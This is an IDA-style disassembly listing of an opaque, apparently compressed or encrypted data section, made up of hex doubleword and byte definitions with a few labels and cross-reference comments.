dd 3000ACE3h, 1D28EA8Ch, 0FEA307h, 969729E1h, 8345DFFh
dd 1BE5000h, 0D2D5BC30h, 0BD303EEh, 0FDAF5964h, 7AF86CD8h
dd 9FCA4000h, 57CF1544h, 0EFA3015Bh, 0E50C520h, 14588378h
dd 0F85CE4C2h, 75376622h, 843F28D5h, 21BC0FD7h, 9C8049A7h
dd 5E837619h, 469F0D00h, 11A033Fh, 49020035h, 0C74B905Bh
dd 7004812h, 8AA94C5Fh, 3BEEAB39h, 78A40351h, 0EA5D8A8Ch
dd 52010380h, 73C09680h, 9004FCCh, 97E883B1h, 55E384h
dd 11BEC356h, 0D1C5C622h, 7D17F703h, 911ECFB6h, 0AFE0F82Ah
dd 0B50800EAh, 30556094h, 0F503213Dh, 7706CEEh, 76DAC08Fh
dd 2FDF0733h, 0E0B7F49Eh, 4316D92Eh, 0FC788028h, 0F3131702h
dd 0C0270A90h, 55C006h, 0B88C1DDEh, 607A661Eh, 1F38CB0Ch
dd 9A40BAh, 7091DCE0h, 15314D56h, 24010900h, 3634C35Ch
dd 0DB94003Eh, 0CD06AE0h, 0B4072FC2h, 5B82CDA2h, 0FF2CA020h
dd 0EAD11D78h, 6D58C0CEh, 0B9ACA238h, 8AEF0E00h, 29681254h
dd 434003Fh, 0CBDC84A5h, 650B661Ah, 80C5554Ch, 2D1D64BCh
dd 9FB6003Eh, 0A5F2FE98h, 7A009CD0h, 93E297DBh, 527E8Bh
dd 384F4208h, 0D30C2829h, 0EFE48100h, 2688A50Bh, 0B4C900CAh
dd 0D875A1BBh, 0D6008D94h, 83FA7052h, 199D780h, 0EFFC5501h
dd 404BB73Bh, 9B26BFE0h, 877C960Eh, 0BA00F7ACh, 18098AE6h
dd 0E7EB0069h, 91498DF7h, 59129FC9h, 18076051h, 0FDD0C199h
dd 7FF2905h, 1FC2A3E7h, 1DC37158h, 0CA56870h, 302861A8h
dd 0EFDD00E9h, 0BF75DF72h, 0D1070DD9h, 0CE478954h, 775AD451h
dd 40CB289Ch, 0AA6404Eh, 0CA00A45Dh, 6220DF41h, 9009A753h
dd 8D02009Bh, 469ECFF5h, 7900196Ch, 421AEE8Bh, 17E8D85Eh
dd 0CD5B01h, 879E22D9h, 8E3BA88Dh, 0C7510132h, 9CC5ADEBh
dd 0AAD0188Eh, 7A03E120h, 510F189Bh, 608EE991h, 1ADD581Ch
dd 2C814DDCh, 9570C700h, 5A31E38Fh, 0BE48F505h, 0F440BA3Fh
dd 0C8509D30h, 6AF7007Fh, 7AE83E82h, 80904DE0h, 70493818h
dd 7783E0h, 0F8D9455Dh, 0D566EABAh, 499ECB00h, 6F107F52h
dd 340D48B3h, 73154B00h, 94035586h, 6C934Dh, 273D72F0h
dd 0F25F817Ah, 0F50F2C9h, 313508ECh, 0D9C334C0h, 0CB0066A8h
dd 0AFDDFBFCh, 3B599409h, 0DA5C4960h, 3D469B05h, 4A7C81E5h
dd 0C455E874h, 4B669F00h, 92605A02h, 0C7DF01FCh, 389E3BF7h
dd 0D6C16B22h, 52D08A7Ah, 1D9D0FDAh, 4540C47Ch, 70162D31h
dd 0EE903600h, 56DB8CBCh, 49A400C9h, 0C341C8F8h, 0FC00F4DFh
dd 244CAE83h, 0B0054692h, 0F614007Ah, 7AA33211h, 5A269835h
dd 0B30F09DCh, 608D2FB8h, 4DA26F2Dh, 0B2543B47h, 0C0BC049Fh
dd 1E615BFDh, 49004E86h, 1CAD275Ch, 2CAE144Fh, 0C8D4A8h
dd 0F05B7190h, 4008E6Dh, 8296557Ah, 38054Eh, 52F780F5h
dd 0B8CD94ADh, 0D086C0C7h, 4B5C9560h, 10908Ch, 0E0149AF3h
dd 0FD1CF00Fh, 96993800h, 0B98C497Bh, 834C007Dh, 98D42EF4h
dd 0CC00D66Ch, 68F65DFAh, 0D210FDh, 5AC009EDh, 0A3B45F05h
dd 0FFE7FB07h, 9D3040DFh, 0A68C35h, 813A9982h, 9EFDE568h
dd 0EA38B400h, 9AEF13A4h, 0A60F5BDh, 493A5C5Ch, 94F4740Eh
dd 0B0A451A7h, 0D0E07807h, 0C2C6A51Eh, 5C60E480h, 259542h
dd 0AA61B0F9h, 2404F750h, 1275E2C3h, 98E8D8F4h, 0E7A60093h
dd 21453CB9h, 0C0F336AFh, 57E052D4h, 5F0C8400h, 0BB5355D7h
dd 301D0081h, 1824759Ch, 6107B963h, 0DB066FFCh, 0F3420950h
dd 0FD71B0h, 0EB4B72EEh, 4802E88Eh, 0A07E7B01h, 0BF42A616h
dd 179B4F4h, 0FB280F3Dh, 0D425D09Eh, 8D0080CAh, 0DAF3AB21h
dd 75AC0396h, 0A8312836h, 70E90092h, 9B9D14FBh, 0C6009383h
dd 2C61C7FDh, 3EBF607h, 4A6B8515h, 0FBD0E1F1h, 0B07A894Dh
dd 0FDAA2004h, 2A837840h, 0C0709F8Dh, 2E3612h, 0FFCD583Fh
dd 9825A6FBh, 83E25DE6h, 0C00B1FAh, 29148D35h, 0C2B6EFEh
dd 85123BE3h, 0C5E0FA10h, 0F51D9B00h, 0F6674299h, 59BD00DCh
dd 654F7D19h, 0AB0FA2A8h, 4063C969h, 0DF5BF328h, 3B20086h
dd 8331D952h, 0AE009EA9h, 0DC25DE09h, 30E65Ah, 7446CA43h
dd 0A9DB05Eh, 0CFB7FA0Eh, 113C81CDh, 7BE464FCh, 49540031h
dd 0EDD34251h, 0BF07473Ah, 5CEA0F8h, 0E09D0C03h, 0F092D1h
db 73h
byte_534E45 db 35h, 0EBh, 13h ; DATA XREF: ___:0044492Co
; ___:00444C54o
dd 790DF99Bh, 80A6F83Fh, 0DBE8E4D6h, 9973D2h, 3F4F3E86h
dd 193794F5h, 7556EC00h, 0ADEE806Ch, 1C8E7830h, 8202AAh
dd 8124F1E4h, 5703097Eh, 0E758D0D1h, 7C8F88B6h, 0E4F243h
dd 0CD15E064h, 99769F78h, 9CF8FE07h, 17E4B134h, 33307F80h
dd 432C0203h, 53CE150Fh, 42E196C0h, 8027013Bh, 9241F90Eh
dd 77485273h, 958807CCh, 0D7E0327Ch, 6436A03Eh, 0AF00102Eh
dd 0A9C2A671h, 124C222Bh, 0FFBCAE84h, 0BA2C5003h, 1644D0F3h
dd 0EE333D68h, 52082302h, 0A680ECA4h, 0E5FACE84h, 0B21FD87Dh
dd 0CC40B724h, 5AD5DE11h, 740A2CFDh, 315F014Bh, 70E51698h
dd 0C000F87Bh, 0A441C6BEh, 3BD30F48h, 0FA02B53Fh, 862A05BCh
dd 0D7B6CB40h, 4EAD9500h, 2CA1F481h, 0DD171222h, 90090F67h
dd 0A600C70Fh, 0A276A540h, 7E50448h, 72F92BBAh, 0E70AA180h
dd 0BD45077Dh, 1FEC4EA6h, 0EA2370C0h, 6A008073h, 88DB9B8Dh
dd 0CA510BDh, 2EDFD0Ch, 0A8000468h, 0A90AE4B7h, 1E70F97h
dd 2F924B6Dh, 0C8331F90h, 5003460Bh, 3FF17F29h, 1113C3Eh
dd 4FFBBC03h, 6AA0E5A2h, 83308896h, 21E3B025h, 0FD160049h
dd 41A74E32h, 0FC06B340h, 9E0FD331h, 959003E0h, 56264639h
dd 131BECF8h, 0DCD3Eh, 0B99C06A1h, 0D4EF93h, 7DA7558Dh
dd 682F4B9Fh, 0E9228200h, 7159EB36h, 0EED80030h, 5D672B16h
dd 56003A4Ah, 9DA068ACh, 0B187F8h, 0C835EDDBh, 8B587951h
dd 7B72E9E8h, 0C50C9400h, 0CC56F6B9h, 2FDA0097h, 4EEE2B58h
dd 5D1E2E47h, 3E80BD6Ah, 0ED80C75h, 1C42F2A9h, 0C04C62D9h
dd 0DAEFA6A1h, 13031EFCh, 0EE14E299h, 25AFA0AAh, 0BABDA0A5h
dd 318A3AE5h, 4D661100h, 6A881737h, 64192800h, 0B1BC4A9Eh
dd 0D77600B8h, 0CC626780h, 0E098212h, 0E25D9016h, 849C6099h
dd 0C063B80h, 0B880B6BDh, 0EF6B2271h, 1100AE3Ch, 0B7507981h
dd 28732F8Bh, 80A42BF0h, 0C99CF0h, 0A9D3F69Eh, 8420758h
dd 5E82A03h, 0A03048F2h, 21765BFh, 84B990F4h, 0D0920650h
dd 62C8BE60h, 9DDE1800h, 0A81F57A9h, 342B2EA5h, 0E5C40161h
dd 82352F9Ah, 379B6630h, 9855C012h, 7F80EA38h, 0A5B70C9Ch
dd 76910B06h, 34D3A06h, 1F107AC7h, 1ED3A7A4h, 3C930Ch
dd 20AA2E5Fh, 94006291h, 0E64E4A7Ch, 1E44BB2Ch, 5C4EEh
dd 49036E24h, 0E37C2F9Eh, 0B0FB6030h, 909C3DAh, 26D9718Bh
dd 80229001h, 27FBEC31h, 0BA680C3Dh, 0D71B0116h, 4DCA0BD4h
dd 355DF0h, 75D1A0AAh, 5481C298h, 705AE23Fh, 0E1C68F03h
dd 8069CB1Bh, 0B00CE3h, 0FF1D6408h, 527A037Dh, 0F9352E1Eh
dd 33102300h, 13F80AE9h, 0CDEAF4h, 3D2786B7h, 0DD0A1459h
dd 0D3A4B18Eh, 0CDF5BC00h, 0E9FE681Ah, 0DBD46E80h, 9CCA2123h
dd 839F2E00h, 668085D2h, 0B7630F3Ch, 7526A2C1h, 9F008976h
dd 0EFEA49DFh, 0F2B590h, 7DC2891Fh, 4514EB55h, 73192D06h
dd 60E706h, 8E1B13Ah, 0E4463C0Ch, 0F00DAA07h, 2AF0683Eh
dd 1D481AB0h, 80FF3506h, 0F83B5956h, 0C9C0F707h, 0F50BC794h
dd 99D101F0h, 4D60E535h, 0E988801Ah, 449DE45h, 3AC7E687h
dd 7E80983Dh, 11C2EF1Fh, 0A0009DEDh, 60E1E84Fh, 50B691A9h
dd 68CD940Bh, 13BC7247h, 8D55006Ch, 86622E3Ch, 16B9483Dh
dd 0E00DCE6h, 0E95BB395h, 0C78F05C0h, 0B0EF28h, 7EFCE2A0h
dd 85EF0541h, 0AA4F93A8h, 8A69040h, 0F8ED6D16h, 0D1660B8Bh
dd 2802382h, 0B4A52D0Dh, 94D7D400h, 0C92B8629h, 0D54500B0h
dd 73B55218h, 4D1F82E0h, 0C340CEF8h, 0C386E5Bh, 0ACF91F91h
dd 392A80B2h, 0DA1E813h, 75FBE3Bh, 0E2F3A760h, 0B36DC0AFh
dd 0CB7C73h, 44CF8F0Fh, 773013E7h, 2AA9A000h, 0A4E376FFh
db 8Dh, 0
aEEhQas db '¥ì…HŸ€‘',0 ; DATA XREF: ___:0044487Co
; ___:00444C94o
a9Xrki db '9"',0Ah
db 'XàŠi',27h,0
dd 81F6C930h, 66E6BECCh, 5E004677h, 7A9D58DBh, 32D0F8h
dd 6272ECDFh, 5B2602BAh, 2E90BF00h, 56D23691h, 0CB860081h
dd 3AF6CCD8h, 4200C187h, 0DFF4ABA5h, 30583292h, 0A240C3CEh
dd 0C1004A1Ch, 0C4023630h, 0FE4CCAC0h, 55400E81h, 3580B6FAh
dd 0C68C3EF1h, 0D3EB700Eh, 54C7436Ch, 1E91F02Eh, 1D2A7B29h
dd 0C0278E92h, 0D5B4999Bh, 76397FEFh, 91DD8089h, 703301E0h
dd 16833AE4h, 0DBC42480h, 96C6D685h, 2ADCD21Fh, 12568C9h
dd 0E878F33Dh, 3083C7D4h, 3F509F12h, 0A63E3159h, 47B28328h
dd 0A0EDBD5Bh, 259F81h, 656C78AEh, 972C7398h, 14D3F100h
dd 4D02C7C4h, 0C379004Ch, 0A731B394h, 5D009619h, 1E5C136h
dd 156543Ah, 2C2843A2h, 0E85794B3h, 0CF3CAE8Bh, 80BA3849h
dd 465C938h, 73A6C8F6h, 2B72008Ah, 800AEA9Dh
db 90h
byte_535345 db 86h, 3, 0DBh ; DATA XREF: ___:00444A08o
; ___:00444CECo
dd 3B03FCB7h, 225890AEh, 623D0028h, 2A773A89h, 61244179h
dd 0B00A0225h, 7D43C0ABh, 0E5A8C8D1h, 0C06607A1h, 3C1C57B8h
dd 0D9003ED8h, 71ED6EEEh, 52F52Bh, 1E324BB6h, 2615EB1h
dd 0A300BBFAh, 2E8453FFh, 14E2233h, 0B4463E92h, 0F068E41Ch
dd 0BD287BF7h, 5900C1C2h, 90913829h, 0B8096Bh, 0DBF9896Dh
dd 6112414Eh, 24352100h, 3FD9ED0Dh, 0EA100CEh, 88B15B54h
dd 0E67971A0h, 0A7EF4E00h, 0B303FDFCh, 2CBB01DEh, 9D22E792h
dd 0A9BF09Eh, 67B78601h, 235E4BC5h, 1FC037F0h, 787CC43h
dd 5009F0A0h, 924A4681h, 9CE47A01h, 12C28F37h, 0DB6B5084h
dd 5A298360h, 4ABC3588h, 0C0FD5907h, 7DD0C9CCh, 4825440Fh
dd 1900307Bh, 0CBF27E77h, 73039D2Ah, 8DD54C9Ah, 214E9837h
dd 3B1EA3Ah, 0A470A7A3h, 81F8C434h, 9C004FE9h, 29A9C557h
dd 0EAD15F8h, 0B2350373h, 0D68BCA0h, 0F7092580h
db 23h
byte_535449 db 0A1h, 90h, 10h ; DATA XREF: ___:00444CC4o
dd 0E1DF538h, 28C7F16h, 9D87DDC0h, 24021938h, 0F04AE976h
dd 0BD35E04Fh, 81EF00B2h, 0D32F4088h, 3A0167D9h, 0DD50E53Eh
dd 0D230B951h, 54BC90C5h, 255983Fh, 0F581BC5Bh, 0C6E0E222h
dd 0EB0071E9h, 87C7D593h, 0AA399Ah, 0F49E7710h, 6411B345h
dd 840AE500h, 5854F074h, 0C6BE0050h, 0B86366CEh, 2100A683h
dd 92CD2029h, 7389B2Ch, 0A9173E8Ch, 8A08F11h, 72247357h
dd 856DB32Eh, 0CA011300h, 3A7AD118h, 3380347Eh, 1ADBCB2Ah
dd 77134385h, 3C005D37h, 9D2B239h, 0DD88003Eh, 76585566h
dd 0D4007AE8h, 0C0B49705h, 0B60D26h, 817BAD18h, 106C0353h
dd 88A85A00h, 4712BA8Dh, 0C3A60056h, 0C9B10A1Ch, 0EF001AD2h
dd 63C569AEh, 8FC266h, 0E11DFEC0h, 0EB9C210Bh, 77DF9524h
dd 876E2B00h, 0C0AAEFADh, 0B5E2E4D1h, 0CE001C9Bh, 6D3738BFh
dd 7D49ACDh
db 64h
aCZ@K db 'Ä–',27h,'§»@:[Š',0 ; DATA XREF: ___:004447D4o
db 0DBh
dd 1031571Dh, 0F0BB2F82h, 0F2A904B1h, 80C2FD5Ch, 74BE34E0h
dd 0A496A301h, 24ACF193h, 72652860h, 0D4ED1DB2h, 80E05EE4h
dd 42CD9BE8h, 23078A59h, 0C26C0293h, 4BC8FF50h, 3AD6E29Fh
dd 14827391h, 0B9852F5Bh, 0B8002844h, 5F8D18F2h, 0DB049Ch
dd 24D5C3D3h, 628755CFh, 2F977501h, 0F111EC05h, 37916D4h
dd 0DE2537B1h, 4871E1FCh, 0A4B63028h, 0D9004BEEh, 9322C360h
dd 78B3BFCh, 46F0484Dh, 0E0D4C7DCh, 7CB87E34h, 7BE30912h
dd 0C66D7030h, 8900Ah, 98AE769Bh, 27DECF0Eh, 0E9009BB8h
dd 0C1615AA8h, 28A9D644h, 3BB4CCBDh, 0DE8273D4h, 0F9DF5E33h
dd 59E9FAE0h, 0A275CF1Fh, 89901081h, 5BC8BD35h, 128226F5h
dd 0C3459CB4h, 0AEF12702h, 0E93DA800h, 0C6F696DCh, 2C2B095Ah
dd 30A282EAh, 9740A0C5h, 8800FF84h, 307E96A2h, 14FBFB3h
dd 2851670h, 0C84CAB5Bh, 6A3F8FDDh, 97E916DCh, 3633800h
dd 0BA6BACh, 54F779DAh, 1A07380Eh, 0E4A6EB02h, 833024CDh
dd 0C8AEF58Ch, 482C0EDh, 0CC9DE78Ch, 0D3309007h, 2F004633h
dd 606BBCB0h, 16978h, 6850E2E3h, 75774F7Eh, 5C92372Ch
dd 4040B916h, 148CF4E6h, 0DB330089h, 5A0F410Ch, 1D07C664h
dd 872ACC11h, 0CEA51EB0h, 92501B7h, 1033B31Fh, 0D80BF5D9h
dd 0D4004175h, 9E2AA242h, 26E552h, 0C8D26D1Eh, 7E3BA3A9h
dd 3749E200h, 0C9DDF0CDh, 73F23F17h, 2EECB883h, 76EB1490h
dd 8C751BC8h, 95FC8200h, 0E26BF88Dh, 16780199h, 5ACB43F9h
dd 0E883C033h, 531D3C00h, 0AA5F75CDh, 7C30020h, 2410042Fh
dd 8800EB6Dh, 0C1EE7FBBh, 7C798782h, 0E5AE3CC8h, 7708DB80h
dd 0D407B50Bh, 0D9B9700h, 0FA93424Fh, 9DFEB9h, 351091ECh
dd 0AC8D383h, 5AAD1900h, 0E30D9086h, 585CFF99h, 0F67AB9h
dd 0EB8B2C18h, 8F5D9C5Eh, 0E7DFCB03h, 0F0546977h, 460B0Eh
dd 0F3D67107h, 0CC3AFDDAh, 14E8300h, 5308908Ah, 0B0DD3E52h
dd 2D7DF200h, 0C58E0D0h, 2CB14F12h, 0EF00A31Eh, 36879641h
dd 44090076h, 356CBBB0h, 0BD0067D1h, 0A69293C7h, 378630Fh
dd 1172BCB2h, 46BBFD94h, 0FC8CDCC8h, 96F8CC13h, 12AB9300h
dd 0A418B70h, 34B50F1Bh, 8ACA0EECh, 2BEAF0A0h, 100C083h
dd 9A21C74Eh, 1A6858h, 54718E24h, 3DBD8FA6h, 0A1CF8900h
dd 0B8EEA07Eh, 1FACA6E4h, 472367F4h, 80FBA825h, 5386A21h
dd 0D6072D00h, 3B962489h, 8AE0F9B3h, 7CAB7B35h, 795B0304h
dd 3DD23A3Eh, 52AF7000h, 1D6821A3h, 0E4B20072h, 7E0D669Dh
dd 0CD300E71h, 42E5109Fh, 0C1F000AEh, 0FED25E8Bh, 79002CDDh
dd 0C4EB0DEDh, 58B353h, 0D8210C02h, 135F3466h, 9076351Fh
dd 70A1880h, 108A369h, 0B6D32360h, 40AD4714h, 70E31078h
dd 40893E00h, 5CE405B8h, 220E001Eh, 0CB0FCCA2h, 0B6245816h
dd 0EE000494h, 13309A9Ch, 0D6AC0989h, 3403520Bh, 0FFB0023Bh
dd 8C00F1C6h, 101FFD81h, 0A7D507h, 0D324E87Ah, 0F7A36815h
dd 4F0128A6h, 4BDD4DCEh, 9C408AC0h, 9088F68Dh, 0C7B00168h
dd 532B5DF1h, 7D6427BAh, 0E49A9E15h, 4C7043A4h, 712B0A48h
dd 1628B063h, 0D549B00h, 0E5331A4Dh, 0C190016h, 4BD22355h
dd 0B875987Ah, 0DCAB5C05h, 0BC00BDD1h, 9F1083CAh, 0A2ED0075h
dd 18DFFAC1h, 0A173DC3Eh, 0D1FC852Eh, 62C71A00h, 50F440h
dd 7A116896h, 5981E9A6h, 4FDDE0C2h, 0CD15E00Bh, 0A1C30279h
dd 862A7F2Eh, 0E0CC8E80h, 289AAAD6h, 80F8CF0Eh, 670077A7h
dd 94BA0FCDh, 6B270270h, 0ED249B11h, 100849Ch, 2226181Fh
dd 5F2CEDh, 0A39588DFh, 0FB642D10h, 0AAEBBA01h, 70CE27C0h
dd 0E05CC4h, 0A304C9F9h, 6458E349h, 2808453Eh, 4000E20Bh
dd 0FC5B1F12h, 9C1C93h, 0EA547902h, 0D950587h, 18708900h
dd 0CDBC0B01h, 794B0EBAh, 0BB404EAAh, 0BF93D3EEh, 7F07E800h
dd 0AB0DC191h, 6F40001Bh, 8D9A9FC8h, 409525D6h, 6D988Fh
dd 3B2FCD8Ch, 3DF6B790h, 0A006AF6h, 0FA3634FDh, 0C09FE599h
dd 78067D60h, 0BE0065CEh, 9D4CB27Fh, 76E4BA7h, 90EB2742h
dd 0AE8FF044h, 0F80F6A96h, 0B60BFF1Ch, 437D0400h, 0B842B219h
dd 140007Fh, 0F5837E78h, 8F030B2Dh, 2BB9CC03h, 9AA9B01Ch
dd 821E0027h, 0F9F88662h, 0AC03D028h, 0C06F613Bh, 0C5CAA829h
dd 4D17004Fh, 74ABF584h, 0DA00308Ah, 560B16FAh, 0D97251h
dd 0F5C3252Fh, 89EE03E7h, 4CA58803h, 0A0DB6DA9h, 7F4FEB35h
dd 0C71606BFh, 0E8EDA8B5h, 0FFA5BD00h, 0A9969A7Ch, 0AF720105h
dd 5BC36F93h, 0E671602Bh, 0DC09F007h, 0C0CEC87Dh, 70B0E582h
dd 8FB30E5Dh, 0EE832C74h, 1E9817B9h, 50050B1Bh, 0FF5613B2h
dd 57AE92C0h, 4D9B0018h, 0BA464F28h, 4800BE7Fh, 2F4737BDh
dd 1D569840h, 0C094E0F5h, 0C82D610Ch, 36007981h, 0ABB61307h
dd 0F3B78417h, 0AD77AFC3h, 34C9883h, 86993C0h, 85D8DC01h
dd 74031CF9h, 0EB15EC25h, 66B2D8B4h, 84400090h, 1645587Dh
dd 0A90C1ACFh, 30A6C3F1h, 11AF0047h, 8EB0CE92h, 66488C2Ch
dd 0FAC60273h, 0C0F1FDEDh, 0E91C8BA5h, 9F0C0822h, 741C204h
dd 2F9AA01Fh, 0D8ACA7FEh, 1E2E038h, 0E3EE8FF8h, 306C7B0Eh
dd 8B03E4F1h, 0AA6D2CDBh, 0C1ED8027h, 0CFC00A5h, 8FE6D776h
dd 7006E35h, 88AEF05Ch, 34DD60h, 0C709F29Dh, 0FF2B2604h
dd 97F84760h, 0EA7D98Eh, 0B28C7FECh, 7322DFE0h, 3207E6EEh
dd 0BF09914Eh, 0E172C470h, 7C4602D4h, 0EAB80EC8h, 3F7ECC90h
dd 476A810Ah, 0A21FAC03h, 0F7094112h, 0E2A40392h, 0A445E0D4h
dd 49EF3911h, 56797800h, 72C9BC6Ch, 14F0C100h, 0D16D8D0Ah
dd 47410092h, 0C67D6902h, 741CCF22h, 20809304h, 1CD67BA1h
dd 26331ECCh, 0A00F407Fh, 327E97F1h, 2DC59000h, 17C69BE1h
dd 0FF550086h, 3BD5A179h, 8700672Bh, 0B403410Ah, 60EA0539h
dd 9B771CB1h, 40057D4h, 0D0781EA7h, 538F94h, 0AA3213Fh
dd 3026E673h, 5C01587Bh, 7F671681h, 0E3E44CBBh, 526300C7h
dd 19B44349h, 0B904624Eh, 0D2DB3669h, 379C0FBh, 0F41D1BE1h
dd 5E003426h, 46E0EE92h, 0E9A90031h, 0B5627121h, 60C904DBh
dd 42FC17h, 0E0804A6Bh, 0B4F87F1Fh, 0D399C02h, 0C0A269BDh
dd 3A226E4Dh, 4DB05152h, 886C3250h, 2D1EFAE4h, 0A2C0081Fh
dd 95AD06B6h, 0B7643D7Fh, 0D36A4300h, 86FB5A70h, 1946CC00h
dd 0F7541205h, 58C6753Eh, 513D486Dh, 91A29D80h, 9E17A183h
dd 0D7EA2800h, 4562FACCh, 66AA14BAh, 0DD1E3CFBh, 3425424Ch
dd 0C7C027FAh, 2D0E3D0Ah, 11C7F77h, 66616B71h, 920F8080h
dd 0AD397AB7h, 0CF1B8AF0h, 82E885FAh, 76F2C0D3h, 2C440060h
dd 9D2E716Bh, 0E00386CDh, 9E3BD40Ah, 0E7ACE0E6h, 1E63B06Eh
dd 409F35F5h, 4C1CAA3Ah, 6400B89Eh, 5053B426h, 860379h
dd 2E384A0Dh, 4C974B10h, 0A3C5621Eh, 63EE3342h, 51D0A00Eh
dd 769A7996h, 0E8FA0089h, 2E6D3FBh, 28E84FA1h, 699E403h
dd 0F85CE2C4h, 0A04BD101h, 0C979D8h, 9333522h, 0C639A8F9h
dd 6EDFB200h, 0F4F57C84h, 8DC0072Bh, 30E8C2A0h, 0AA410BE1h
dd 0FB497800h, 0DD22B340h, 5DAB4869h, 0C84BE00h, 0FECF2C17h
dd 0F2F59000h, 38CC9765h, 3C40A071h, 0F3780356h, 3593BB2Fh
dd 643E8800h, 2BEEA615h, 44F0E7C3h, 0CC553C91h, 62312E80h
dd 0ECF7D09Bh, 27AE6400h, 0E3A0FFB2h, 84FCF1h, 0F9F5577Bh
dd 2C32B7ADh, 79D4ECFBh, 111F6F00h, 0FF2ADD09h, 908A1483h
dd 7CC499h, 0DFAA379Dh
dd 74CE8F3Ch, 161B4700h, 0F35D7DE9h, 0AC710080h, 46FCD739h
dd 7500723Bh, 0F5E1E860h, 6EE5C5h, 7F2BA2E7h, 0D7942A81h
dd 0DF707650h, 0A42FE600h, 9D657C5Ah, 19404C9h, 9063A9ACh
dd 55E4A764h, 8B05A300h, 6DD02128h, 52DE077Dh, 6751B34Dh
dd 0E6F1608Eh, 0B60FEE81h, 0A0FF09B1h, 4777D3C1h, 301500DCh
dd 0CBE9E51Dh, 0B8026A65h, 5DC479BFh, 6D084963h, 5CF59ECh
dd 3BAE604Bh, 0E9ACC0A9h, 84003F42h, 0E8D3477Ah, 0FE136DFh
dd 8C39F597h, 0DB30B0BEh, 5400BAF4h, 22D6BF03h, 6D7905h
dd 8CA9F745h, 2C01EF31h, 12FB5600h, 3920A399h, 0DEE302EDh
dd 22033B71h, 0C074BC88h, 95CAE71Dh, 0F4445201h, 0A1BCD223h
dd 0AC9820h, 0E658C355h, 0F3FAB2D7h, 9A3C8F00h, 8E98516h
dd 0E3631F18h, 47DC8E6Bh, 0A4209F89h, 4ACB8B6Ch, 0BF4816F0h
dd 1DCD1B0h, 0D6A61A31h, 0F0802B72h, 55AB3FC6h, 0E076C70h
dd 267781Fh, 0DFC39640h, 0FC54E947h, 0E4DE2C30h, 25F8A0AAh
dd 0BD54004Dh, 0F4D3B0B2h, 56015C8Bh, 896FEA32h, 0E8817EDDh
dd 4F86FA33h, 3B082092h, 49E3D80Bh, 0B3B801B5h, 28C977EDh
dd 462824h, 0F0E8CEFAh, 0B41CD88Bh, 5C875600h, 6E3E70D2h
dd 0A7D1078Eh, 82596C82h, 0E9C3421Ah, 0FC4763A1h, 8B0004BEh
dd 0A90BDA35h, 706572C2h, 10B916EFh, 0C4A701EDh, 0DCD2ACE5h
dd 0AA003CE6h, 6A6F5A2h, 24F36203h, 27CD393h, 78A3BECDh
dd 8155B468h, 0C04C3626h, 85C14487h, 571A450h, 863926B5h
dd 5C72834Ch, 1DD88F43h, 5B004918h, 88389C8Ah, 24B9121Eh
dd 9FAC080Ch, 0CA419FB8h, 81F8BED5h, 1E3B30D9h, 50C026E6h
dd 0A7001F39h, 9A252D7Bh, 4C6582ABh, 6B1F1010h, 80FBDF13h
dd 574C740Ch, 8C3AA8E7h, 1A68807Eh, 0A30AC9F3h, 2FDE002Dh
dd 0DCBFD177h, 98488618h, 1DD981CCh, 82F04534h, 942D0042h
dd 0BAB9C81Eh, 4F046CCBh, 5E020FB0h, 0D2DA50C1h, 0F61FD822h
dd 7A6F8260h, 0C9408A36h, 880EBD66h, 0FB4C4Bh, 9DB958B1h
dd 404790Bh, 0C046A8DCh, 25348801h, 0DE92770Bh, 0FA805D1Ah
dd 827F81FCh, 0A3486B00h, 857E60C0h, 0D8DA00CAh, 730E4BECh
dd 2905C91Bh, 0BA941C9Eh, 0F2F02490h, 0F4FD093Fh, 200168DEh
dd 0E58EBCE2h, 0A9FA7141h, 8D80B852h, 9EE8C1A5h, 497D1C30h
dd 823B1EF9h, 24FB3931h, 0D4993840h, 27009578h, 7F3A71A0h
dd 8AFDADh, 4E67D0A6h, 54A2427Ah, 60937C26h, 3DA47800h
dd 9A0531h, 7294AF50h, 5BC8DCB6h, 438148B1h, 0F6A20F6Ch
dd 6B88C8DEh, 36AF07D4h, 20AE50BAh, 0C4EC8C3h, 74908E29h
dd 66DA3900h, 60052DD1h, 7D2E4936h, 140AE472h, 0C4A93F99h
dd 658550ACh, 143063BDh, 92B501C1h, 0DFEE0058h, 4D1F3948h
dd 0FA0210A7h, 0FEB06C12h, 553E404Ah, 0BA610057h, 9B1AFD49h
dd 964CA315h, 13B0330h, 0F8D80D44h, 0E6C807D1h, 0CA8D0063h
dd 7C7A0868h, 0E0151C2h, 46237904h, 3074D835h, 0FD21005Ch
dd 0EA14D673h, 0AE1C8939h, 8A688A1Ch, 4135E901h, 8ED19E21h
dd 97A420h, 0AEFDDA99h, 44C2B113h, 0DB00F890h, 0A64A8094h
dd 1FAC773h, 379B7DA0h, 30D5857Ch, 1E38B4DAh, 0F5FD85EEh
dd 8DC5AE2h, 7B2700F4h, 2E65833Bh, 0C002D148h, 28B49CD6h
dd 0FF004012h, 32A00349h, 5E5D63BCh, 626100CFh, 6A0EF65Ah
dd 0F5484E6h, 0ED8EC0E7h, 98E1A48Fh, 4B1712CDh, 10D800D2h
dd 3795E76Ah, 9E7DE400h, 1DB4CD0h, 1ABB1F86h, 85FD1F62h
dd 0C06806E0h, 34F277BAh, 9BE41404h, 44CE990Bh, 2744C700h
dd 18D19AAFh, 80F46B4Ch, 4F2908CCh, 0F4543CF2h, 2A0E9048h
dd 0D008AB9h, 0DA19214Eh, 2E155E03h, 80CAD4A8h, 11EF92Dh
dd 990A9BBEh, 201FC69Dh, 0B6011787h, 98E1E377h, 40C49750h
dd 0CB6C0573h, 402CFADBh, 60D3C620h, 8A00D79Ah, 6E6F1736h
dd 342EF07h, 0FE0244F1h, 39025F3Eh, 3152F34Fh, 613DC0A8h
dd 0CDBD0ED1h, 53A0B097h, 85261976h, 64658F00h, 0E37C28CAh
dd 89610072h, 508E1F0Ch, 48033557h, 7EEA7302h, 227C900Fh
dd 6905006Dh, 0FA93CCA2h, 6C7306D5h, 0BD028103h, 1DC15BF1h
dd 409ED086h, 1831BF7Dh, 0DD7B965Eh, 0E08C0207h, 8E3321E1h
dd 0F9FCA079h, 0D22B0032h, 0FF57AD27h, 8807E284h, 3DFD0750h
dd 0FBA1F30h, 9A9839h, 0C5EE6982h, 0EB7D0D8Ch, 90C91803h
dd 0C8761181h, 70CC2E3Fh, 649B0AC2h, 8068E23Eh, 5EEBD169h
dd 10C13AC9h, 19461B81h, 2A9CF4h, 3EC7C47Bh, 0EFEE7F0Eh
dd 9968C800h, 90A023E6h, 31120F55h, 93207ADBh, 0E8B56CAFh
